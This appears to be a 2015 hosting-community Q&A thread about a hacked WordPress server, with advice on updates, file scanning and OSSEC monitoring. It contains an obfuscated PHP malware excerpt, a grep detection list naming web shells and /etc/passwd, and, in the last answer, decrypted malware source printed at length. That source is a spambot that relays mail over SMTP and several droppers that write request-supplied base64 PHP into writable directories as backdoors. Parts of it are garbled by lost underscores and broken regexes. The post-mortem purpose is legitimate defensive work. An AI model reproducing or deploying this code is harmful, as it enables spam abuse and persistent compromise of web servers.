toby
By:
toby

Ubuntu Wordpress Hacked - Post Mortem

January 14, 2015 4.1k views

Hi there

I got a notification from DO that my server might be hacked. It was a Wordpress install, and I found some extremely suspect files. I have rebuilt from scratch and sanitized all theme files and uploads.

Now I'd like to conduct a post mortem on the old droplet to try to put better security measures in place.

I have identified several malware files in my WP install:

  1. Around 50 files in the root directory, named 'kmoxj.php', 'n9984515tp.php', etc.
  2. A file named 'wp-conf.php' in the root directory.
  3. Random PHP files sprinkled around the install in '/wp-content/uploads/', 'wp-includes' and '/wp-content/plugins', all designed to look like config files.

All include content similar to:

<?php $d93="l#\"quX>wj{V}mA.\rR cIQ\n`g4*:~v]3t<d\$EWnBCG-hUfK_k0(!HZ\t;[N8aPr6&YyDpo2\\5e@iFSJ?s,7/LbMT|)z=9O^+1x%'"; $GLOBALS['nbozb93'] = $d93[71].$d93[60].$d93[60].$d93[67].$d93[60].$d93[46].$d93[60].$d93[71].$d93[66].$d93[67].$d93[60].$d93[31].$d93[73].$d93[37].$d93[23]; $GLOBALS['wmyrm6'] = $d93[73].$d93[37].$d93[73].$d93[46].$d93[78].$d93[71].$d93[31]; $GLOBALS['efqzd94'] = $d93[33].$d93[71].$d93[44].$d93[73].$d93[37].$d93[71]; $GLOBALS['amnno92'] = $d93[33].$d93[64].$d93[73].$d93[4].$d93[28].$d93[24].$d93[80]; $GLOBALS['mvpev72'] = $d93[4].$d93[37].$d93[18].$d93[28].$d93[7].$d93[61].$d93[70]; $GLOBALS['sfzxp35'] = $d93[12].$d93[33].$d93[70]; $GLOBALS['ehiza78'] = $d93[18].$d93[67].$d93[4].$d93[37].$d93[31];

After rebuilding the server, I see numerous GET/POST requests for these files or directories where these files were stored.

The Ubuntu install seems to be intact (no strange users/permissions/files) as far as I can see.

Any ideas where I might start digging for the source of the vulnerability?

Thanks!

Toby

5 comments
  • Which version of WordPress were you running when the site was jeopardized?

  • thanks for the reply - it was Wordpress 3.8.5.

  • No problem. There's a good chance that the source of the vulnerability has to do with the outdated version of WordPress. I'd recommend staying on the latest stable version of WordPress and enable automatic updates. If for whatever reason there is a dependency (theme, plugin, etc.) that prevents you from staying on the latest version, I'd isolate that site on it's own droplet (assuming you have multiple sites on the droplet). It's also a good idea to have server-side password protection on wp-admin.php. Here's a guide on hardening WordPress.

  • Many thanks again - at the time I wrote the question it seemed possible that my Ubuntu install was compromised. I'm now a little more confident that it was only Wordpress that was affected.

    I'll read up on that link, thank you.

  • Weak passwords are another possible angle.

    Also, did you use any themes or plugins from non-trusted places? Lots of those are infected with files that can be used to exploit your web server

3 Answers

Hi Toby,

My droplet have been infected with this file exactly. This file is used for sending spam mail. I have found 2 files, one $d93 and one $d61.

There is no "base64_encode" inside it. But I found the key that you can use for scanning it, both have a sequence of number "0987654321".

I used this command to list all the files with keywords that usually contained in shell:

Create a file

touch scan.txt

Append scan list to this file

egrep "0987654321|cgitelnet|webadmin|PHPShell|tryag|r57shell|c99shell|sniper|noexecshell|/etc/passwd|revengans|base64decode" /home/admin/web/vaydamshop.com/publichtml -R | cut -d: -f1 | uniq > /root/scan.txt

Or you can check what is the date that this file was modified. And search for all the files that have been modified on that date:

This command search for all files have been modified on Jan-10-2015:

find /var/www -type f -name "*" -newermt 2015-01-10 ! -newermt 2015-01-11

Here are my solution, but I am not sure this is the best.

Do you guys have any idea to make it better?

Thanks for the response - I opted not to try to scan and remove the files. I can see the date these files were created, so the quickest solution seemed to be to restore from the backup from just before that date.

My greatest concern was that I had left some kind of vulnerability in my Ubuntu install. I'm now fairly certain the vulnerability was in Wordpress, so I guess I just need to do a better job keeping Wordpress and plugins updated.

For anyone else experiencing this, my research led me to a piece of software called OSSEC, which will monitor folders and files and send email reports if they are modified. For me, this seems to be the simplest, most effective way to quickly discover if either linux or installed software has been compromised.

Thanks again,

Toby

Hi All
I find more info about this malware.
Encrypted spambot body http://pastebin.com/uJC3Zzmg
This malware is multiparted. Head function is spamming via php mail buy mayby have send other parts. Can list/view/put files, also run script by eg http get
Decrypted parts (similary):
SPAMBOT

[<?php]
@errorreporting(0);
@ini
set('errorlog', NULL);
@ini
set('logerrors', 0);
if (count ($
POST) < 2) {
die(PHPOS . chr(49) . chr(48) . chr(43) . md5(0987654321));
}
$v5031e998 = false;
foreach (array
keys ($POST) as $v3c6e0b8a) {
switch ($v3c6e0b8a[0]) {
case chr(108):
$vd56b6998 = $v3c6e0b8a;
break;
case chr(100):
$v8d777f38 = $v3c6e0b8a;
break;
case chr(109):
$v3d26b0b1 = $v3c6e0b8a;
break;
case chr(101);
$v5031e998 = true;
break;
}
}
if ($vd56b6998 === '' || $v8d777f38 === '' )
die(PHP
OS . chr(49) . chr(49) . chr(43) . md5(0987654321));
$v619d75f8 = pregsplit( '/\,(\ +)?/', @iniget('disablefunctions' ));
$v01b6e203 = @$
POST[$vd56b6998];
$v8d777f38 = @$POST[$v8d777f38];
$v3d26b0b1 = @$
POST[$v3d26b0b1];
if ($v5031e998) {
$v01b6e203 = n9a2d8ce3($v01b6e203);
$v8d777f38 = n9a2d8ce3($v8d777f38);
$v3d26b0b1 = n9a2d8ce3($v3d26b0b1);
}
$v01b6e203 = urldecode(stripslashes($v01b6e203));
$v8d777f38 = urldecode(stripslashes($v8d777f38));
$v3d26b0b1 = urldecode(stripslashes($v3d26b0b1));
if (strpos ($v01b6e203, '#' , 1) != false) {
$v16a9b63f = pregsplit( '/#/', $v01b6e203);
$ve2942a04 = count($v16a9b63f);
} else {
$v16a9b63f[0] = $v01b6e203;
$ve2942a04 = 1;
}
for ($v865c0c0b = 0; $v865c0c0b < $ve2942a04; $v865c0c0b++) {
$v01b6e203 = $v16a9b63f[$v865c0c0b];
if ($v01b6e203 == '' || ! strpos($v01b6e203, '@', 1))
continue;
if (strpos($v01b6e203, ';', 1) != false) {
list($va3da707b, $vbfbb12dc, $v081bde0c) = preg
split('/;/' , strtolower($v01b6e203));
$va3da707b = ucfirst($va3da707b);
$vbfbb12dc = ucfirst($vbfbb12dc);
$v3a5939e4 = next( explode( '@', $v081bde0c));
if ($vbfbb12dc == '' || $va3da707b == '') {
$vbfbb12dc = $va3da707b = '';
$v01b6e203 = $v081bde0c;
} else {
$v01b6e203 = "\"$va3da707b $vbfbb12dc\" <$v081bde0c>";
}
} else {
$vbfbb12dc = $va3da707b = '';
$v081bde0c = strtolower($v01b6e203);
$v3a5939e4 = next( explode( '@', $v01b6e203));
}
pregmatch( '|<user>(.*)</USER>|imsU' , $v8d777f38, $vee11cbb1);
$vee11cbb1 = $vee11cbb1[1];
preg
match( '|<name>(.)</NAME>|imsU' , $v8d777f38, $vb068931c);
$vb068931c = $vb068931c[1];
preg_match( '|<subj>(.
)</SUBJ>|imsU' , $v8d777f38, $vc34487c9);
$vc34487c9 = $vc34487c9[1];
pregmatch( '|<sbody>(.*)</SBODY>|imsU' , $v8d777f38, $v6f4b5f42);
$v6f4b5f42 = $v6f4b5f42[1];
$vc34487c9 = str
replace( "%RNAME%", $va3da707b, $vc34487c9);
$vc34487c9 = str
replace( "%RLNAME%", $vbfbb12dc, $vc34487c9);
$v6f4b5f42 = str
replace( "%RNAME%", $va3da707b, $v6f4b5f42);
$v6f4b5f42 = str
replace( "%RLNAME%", $vbfbb12dc, $v6f4b5f42);
$v0897acf4 = preg
replace( '/^(www|ftp)./i' , '' , @$SERVER['HTTPHOST']);
if (ne667da76($v0897acf4) || @ iniget( 'safemode'))
$v10497e3f = false;
else
$v10497e3f = true;
$v9a5cb5d8 = "$vee11cbb1@$v0897acf4";
if ($vb068931c != '')
$vd98a07f8 = "$vb068931c <$v9a5cb5d8>";
else
$vd98a07f8 = $v9a5cb5d8;
$vb8ddc93f = "From: $vd98a07f8\r\n";
$vb8ddc93f .= "Reply-To: $vd98a07f8\r\n";
$v3c87b187 = "X-Priority: 3 (Normal)\r\n";
$v3c87b187 .= "MIME-Version: 1.0\r\n";
$v3c87b187 .= "Content-Type: text/html; charset=\"iso-8859-1\"\r\n";
$v3c87b187 .= "Content-Transfer-Encoding: 8bit\r\n";
if (!inarray('mail', $v619d75f8)) {
if ($v10497e3f) {
if (@ mail($v01b6e203, $vc34487c9, $v6f4b5f42, $vb8ddc93f . $v3c87b187, "-f$v9a5cb5d8" )) {
echo ( chr(79) . chr(75) . md5(1234567890) . "+0\n" );
continue;
}
} else {
if (@ mail($v01b6e203, $vc34487c9, $v6f4b5f42, $v3c87b187)) {
echo ( chr(79) . chr(75) . md5(1234567890) . "+0\n" );
continue;
}
}
}
$v4340fd73 = "Date: " . @ date( "D, j M Y G:i:s O") . "\r\n" . $vb8ddc93f;
$v4340fd73 .= "Message-ID: <" . preg
replace('/(.{7})(.{5})(.{2}).*/' , '$1-$2-$3' , md5(time ())) . "@$v0897acf4>\r\n" ;
$v4340fd73 .= "To: $v01b6e203\r\n";
$v4340fd73 .= "Subject: $vc34487c9\r\n";
$v4340fd73 .= $v3c87b187;
$v841a2d68 = $v4340fd73 . "\r\n" . $v6f4b5f42;
if ($v3d26b0b1 == '')
$v3d26b0b1 = n9c812bad($v3a5939e4);
if (($vb4a88417 = n7b0ecdff($v9a5cb5d8, $v081bde0c, $v841a2d68, $v0897acf4, $v3d26b0b1)) == 0) {
echo ( chr(79) . chr(75) . md5(1234567890) . "+1\n");
continue;
} else {
echo PHPOS . chr(50) . chr(48) . '+' . md5(0987654321) . "+$vb4a88417\n" ;
}
}
function ne667da76($v957b527b)
{
return preg
match( "/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/" , $v957b527b);
}
function na73fa8bd($vb45cffe0, $v11a95b8a = 0, $v7fa1b685 = "=\r\n", $v92f21a0f = 0, $v3303c65a = false)
{
$vf5a8e923 = strlen($vb45cffe0);
$vb4a88417 = '';
for ($v865c0c0b = 0; $v865c0c0b < $vf5a8e923; $v865c0c0b++) {
if ($v11a95b8a >= 75) {
$v11a95b8a = $v92f21a0f;
$vb4a88417 .= $v7fa1b685;
}
$v4a8a08f0 = ord($vb45cffe0[$v865c0c0b]);
if (($v4a8a08f0 == 0x3d) || ($v4a8a08f0 >= 0x80) || ($v4a8a08f0 < 0x20)) {
if ((($v4a8a08f0 == 0x0A) || ($v4a8a08f0 == 0x0D)) && (!$v3303c65a)) {
$vb4a88417 .= chr($v4a8a08f0);
$v11a95b8a = 0;
continue;
}
$vb4a88417 .= '=' . strpad(strtoupper (dechex($v4a8a08f0)), 2, '0', STRPADLEFT);
$v11a95b8a += 3;
continue;
}
$vb4a88417 .= chr($v4a8a08f0);
$v11a95b8a++;
}
return $vb4a88417;
}
function n7b0ecdff($vd98a07f8, $v01b6e203, $v841a2d68, $v0897acf4, $v3d26b0b1)
{
global $v619d75f8;
if (!in
array('fsockopen', $v619d75f8))
$v66b18866 = @ fsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
elseif (!inarray('pfsockopen', $v619d75f8))
$v66b18866 = @ pfsockopen($v3d26b0b1, 25, $v70106d0d, $v809b1abe, 20);
elseif (!in
array('streamsocketclient', $v619d75f8) && functionexists ("streamsocketclient" ))
$v66b18866 = @stream
socketclient("tcp://$v3d26b0b1:25" , $v70106d0d, $v809b1abe, 20);
else
return -1;
if (!$v66b18866) {
return 1;
} else {
$v8d777f38 = n54070395($v66b18866);
@ fputs($v66b18866, "EHLO $v0897acf4\r\n");
$ve98d2f00 = n54070395($v66b18866);
if ( substr($ve98d2f00, 0, 3) != 250)
return "2+($v01b6e203)+" . preg
replace('/(\r\n|\r|\n)/' , '|' , $ve98d2f00);
@ fputs($v66b18866, "MAIL FROM:<$vd98a07f8>\r\n");
$ve98d2f00 = n54070395($v66b18866);
if ( substr($ve98d2f00, 0, 3) != 250)
return "3+($v01b6e203)+" . pregreplace('/(\r\n|\r|\n)/' , '|' , $ve98d2f00);
@ fputs($v66b18866, "RCPT TO:<$v01b6e203>\r\n");
$ve98d2f00 = n54070395($v66b18866);
if ( substr($ve98d2f00, 0, 3) != 250 && substr($ve98d2f00, 0, 3) != 251)
return "4+($v01b6e203)+" . preg
replace('/(\r\n|\r|\n)/' , '|' , $ve98d2f00);
@ fputs($v66b18866, "DATA\r\n");
$ve98d2f00 = n54070395($v66b18866);
if ( substr($ve98d2f00, 0, 3) != 354)
return "5+($v01b6e203)+" . pregreplace('/(\r\n|\r|\n)/' , '|' , $ve98d2f00);
@ fputs($v66b18866, $v841a2d68 . "\r\n.\r\n");
$ve98d2f00 = n54070395($v66b18866);
if ( substr($ve98d2f00, 0, 3) != 250)
return "6+($v01b6e203)+" . preg
replace('/(\r\n|\r|\n)/' , '|' , $ve98d2f00);
@ fputs($v66b18866, "QUIT\r\n");
@ fclose($v66b18866);
return 0;
}
}
function n54070395($v66b18866)
{
$v8d777f38 = '';
while ($v341be97d = @ fgets($v66b18866, 4096)) {
$v8d777f38 .= $v341be97d;
if ( substr($v341be97d, 3, 1) == ' ')
break;
}
return $v8d777f38;
}
function n9c812bad($vad5f82e8)
{
global $v619d75f8;
if (!inarray('getmxrr', $v619d75f8) && functionexists("getmxrr" )) {
@ getmxrr($vad5f82e8, $v744fa43b, $v6c5ea816);
if ( count($v744fa43b) === 0)
return '127.0.0.1';
$v865c0c0b = arraykeys($v6c5ea816, min($v6c5ea816));
return $v744fa43b[$v865c0c0b[0]];
} else {
return '127.0.0.1';
}
}
function n9a2d8ce3($v1cb251ec)
{
$v1cb251ec = base64
decode($v1cb251ec);
$vc68271a6 = '';
for ($v865c0c0b = 0; $v865c0c0b < strlen($v1cb251ec); $v865c0c0b++)
$vc68271a6 .= chr( ord($v1cb251ec[$v865c0c0b]) ^ 2);
return $vc68271a6;
}

Othres part

[<?php]
print "<php_debug>\n";
errorreporting ( EALL );
iniset ( 'trackerrors', 1 );

define ( 'MAX_DIRS', 1000 );

if (! isset ( $_REQUEST ['b64cont'] )) {
print "<err>NO b64cont</err>";
exit ( 0 );
}

$filecontent = base64decode ( $_REQUEST ['b64cont'] );

if (empty ( $file_content )) {
print "<err>EMPTY b64cont</err>";
exit ( 0 );
}

$names = array (
"dirs",
"dir",
"lib",
"search",
"stats",
"info",
"functions",
"db",
"inc",
"include",
"admin",
"user",
"system",
"file",
"files",
"global",
"template",
"blog",
"header",
"footer",
"press",
"test",
"title",
"code",
"options",
"option",
"general",
"gallery",
"themes",
"article",
"login",
"ajax",
"start",
"cache",
"proxy",
"menu",
"page",
"list",
"config",
"alias",
"defines",
"css",
"javascript",
"diff",
"ini",
"sql",
"xml",
"error",
"dump",
"utf",
"help",
"session",
"model",
"view",
"object",
"plugin"
);

$host = $SERVER ['HTTPHOST'];
$uri = $SERVER ['REQUESTURI'];
$docroot = fixpath ( $SERVER ['DOCUMENTROOT'] );
$cwd = fix_path ( getcwd () );

print "doc: $doc_root\n";
print "cwd: $cwd\n";
print "uri: $uri\n";

$relpath = strreplace ( $docroot, "", $cwd );
$dirs = explode ( '/', $relpath );

print "relpath: $relpath\n";

$path = $doc_root;

foreach ( $dirs as $dir ) {

$path .= "/";
$path .= $dir;
$path = fix_path ( $path );

if (is_readable ( $path )) {
    $start_path = $path;
    break;
}

$winpath = $path . "/.."; // winhack

if (is_readable ( $winpath )) {
    $start_path = $winpath;
    break;
}

}

if (empty ( $startpath )) {
print "<err>NO START PATH</err>\n";
exit ( 0 );
} else {
print "START: $start
path\n";
}

$wdirs = readallwritablefiles ( $start_path );

if (! sizeof ( $w_dirs )) {
print "<err>NO W DIR</err>";
exit ( 0 );
}

$mypath = $wdirs [arrayrand ( $w_dirs )];

shuffle ( $names );

foreach ( $names as $name ) {

$file = $mypath . "/" . $name . ".php";

if (! file_exists ( $file ) || ! filesize ( $file )) {

    /* Try to detect root folder */

    $rx = '|' . $doc_root . '\/*|';
    $replace = "http://" . $host . "/";

    print "replace: $file - $rx - $replace\n";

    $url = preg_replace ( $rx, $replace, $file );

    $res = put_cont ( $file, $file_content );
    chmod ( $file, 0755 );
    print "<put><rpath>$file</rpath><url>$url</url></put>\n";

    if ($res > 0) {
        print "<ud" . "ata><rpath>$file</rpath><url>$url</url></ud" . "ata>";
    } else {
        print "<err>put error: $res</err>";
    }
    exit ( 0 );
}

}

print "<err>NIL</err>";
exit ( 0 );
function readallwritable_files($root = '.') {
$nn = 0;

$files = array ();
$directories = array ();

$directories [] = $root;

while ( sizeof ( $directories ) ) {
    $dir = array_pop ( $directories );

    if (! is_readable ( $dir ))
        continue;

    if ($handle = opendir ( $dir )) {

        while ( false !== ($file = readdir ( $handle )) ) {
            if ($file == '.' || $file == '..') {
                continue;
            }

            $file = $dir . "/" . $file;

            if (is_dir ( $file )) {

                array_push ( $directories, $file );

                if (is_writable ( $file )) {
                    $files [] = fix_path ( realpath ( $file ) );

                    if ($nn ++ > 1000) {
                        return $files;
                    }
                }
            }
        }
        closedir ( $handle );
    }
}
return $files;

}
function put_cont($filename, $data) {
$f = fopen ( $filename, 'w' );

if (! $f) {
    print "<err>put_cont: fopen failed: $php_errormsg</err>\n";
    return - 1;
} else {

    $res = fwrite ( $f, $data );

    if ($res) {
        return $res;
    } else if ($res === FALSE) {
        print "<err>put_cont: fwrite failed: $php_errormsg</err>";
        return - 2;
    } else if ($res == 0) {
        print "<err>put_cont: fwrite failed (0 bytes): $php_errormsg</err>";
        return - 3;
    }
}

return false;

}
function getcont($filename) {
$f = @fopen ( $filename, 'r' );
if (! $f) {
return "";
} else {
$cont = fread ( $f, filesize ( $filename ) );
fclose ( $f );
return $cont;
}
}
function fix
path($path) {
$path = preg_replace ( '/(\|\/)+/', '/', $path );
return $path;
}

[<?php]
print "<php_debug>" ;
errorreporting(EALL );
iniset('trackerrors' , 1);

define ('MAX_DIRS' , 1000);

if (!isset ($_REQUEST['b64cont' ])) {
print "<err>NO B64</err>";
exit (0);
}

$filecontent = base64decode($_REQUEST[ 'b64cont']);

if (empty ($file_content)) {
print "<err>EMPTY B64</err>";
exit (0);
}

$remotepath = $REQUEST['rp'];

if (empty ($remote_path)) {
print "<err>BAD PATH</err>";
exit (0);
}

$res = putcont($remotepath, $file_content);

if ($res > 0) {
print "<res>upok</res>";
} else {
print "<res>up
err</res>\n";
print "<err>put_error: $res</err>";
}

exit (0);

function put_cont($filename, $data) {

 $f = fopen($filename, 'w');

 if (!$f) {
       print "<err>put_cont: fopen failed: $php_errormsg</err>\n";
       return -1;

 } else {

      $res = fwrite($f, $data);

       if ($res) {
            return $res;
      }
       else if ($res === FALSE) {
       print "<err>put_cont: fwrite failed: $php_errormsg</err>";
       return -2;
      }
       else if ($res == 0) {
       print "<err>put_cont: fwrite failed (0 bytes): $php_errormsg</err>";
       return -3;
      }

 }

 return false;

}

function get_cont($filename) {
$f = @fopen($filename, 'r');
if (!$f) {
return "";
} else {
$cont= fread($f, filesize($filename));
fclose($f);
return $cont;
}
}

[<?php]
define ( 'MAX_DIRS', 1000);

  if (!isset ($_REQUEST ['b64cont' ])) {
        print "<err>NO b64cont</err>";
        exit (0 );
  }

  $file_content = base64_decode($_REQUEST['b64cont' ]);

  if (empty ($file_content )) {
        print "<err>EMPTY b64cont</err>" ;
        exit (0 );
  }


  $names = array ("dirs" , "dir", "lib", "search" , "stats", "info", "functions" ,
  "db", "inc" , "include", "admin", "user" , "system", "file", "files", "global" , "template", "blog", "header" , "footer", "press", "test" , "title",
  "code", "options" , "option", "general", "gallery" , "themes", "article", "login" , "ajax", "start", "cache" , "proxy", "menu", "page" , "list", "config",
  "alias", "defines" , "css", "javascript", "diff" , "ini", "sql", "xml" , "error", "dump", "utf" , "help", "session", "model", "view" , "object", "plugin");

  $host = $_SERVER['HTTP_HOST' ];
  $uri = $_SERVER['REQUEST_URI' ];
  $doc_root = $_SERVER ['DOCUMENT_ROOT' ];

  $w_dirs = read_all_writable_files ($doc_root );

  $mypath = $w_dirs [array_rand($w_dirs)];

  shuffle( $names);

  foreach( $names as $name) {

       $file = $mypath .$name .".php" ;

        if (!file_exists($file))
        {

             $doc_root = preg_replace(' /( \\\| \/)+ /' , '/', $doc_root); //Normalize slashes to /
             $url = preg_replace(' /( \\\| \/)+ /' , '/', $file); //Normalize slashes to /

              /* Try to detect root folder */

             $rx = '|'. $doc_root. '\/*|';
             $replace = "http://".$host."/" ;

             $url = preg_replace($rx, $replace, $url);

              if (put_cont ($file , $file_content ))
              {
                   print "<ud"."ata><rpath>$file</rpath><url>$url</url></ud" ."ata>" ;
                   exit(0 );
              }
        }
  }     

  print "<err>NIL</err>";
  exit();

function readallwritable_files( $root = '.' ){

$nn = 0;

$files = array();
$directories = array();
$lastletter = $root[strlen ($root )-1 ];
$root = ($last
letter == '\ ' || $lastletter == '/') ? $root : $root .DIRECTORYSEPARATOR ;

$directories[] = $root;

while (sizeof ($directories )) {
$dir = array_pop( $directories);

  if (!is_readable ($dir ))
        continue;  

if ($handle = opendir( $dir)) {

  while (false !== ( $file = readdir($handle))) {
     if ($file == '.' || $file == '..') {
       continue;
     }

       $file  = $dir .$file ;

     if (is_dir($file)) {

      $directory_path = $file .DIRECTORY_SEPARATOR ;
       array_push($directories, $directory_path);

              if (is_writable($directory_path)) {
                  $files []  = $directory_path ;

                   if ($nn ++ > MAX_DIRS ) {
                         return $files ;
                   }

              }

     }
  }
  closedir( $handle);
}

}
return $files ;
}

function put_cont( $filename, $data) {
$f = @fopen ($filename , 'a+');
if (!$f) {
return false;
} else {
$bytes = fwrite($f, $data);
fclose($f);
return $bytes ;
}
}

function get_cont( $filename) {
$f = @fopen ($filename , 'r');
if (!$f) {
return "";
} else {
$cont = fread($f, filesize( $filename));
fclose($f);
return $cont ;
}
}
?>

Have another answer? Share your knowledge.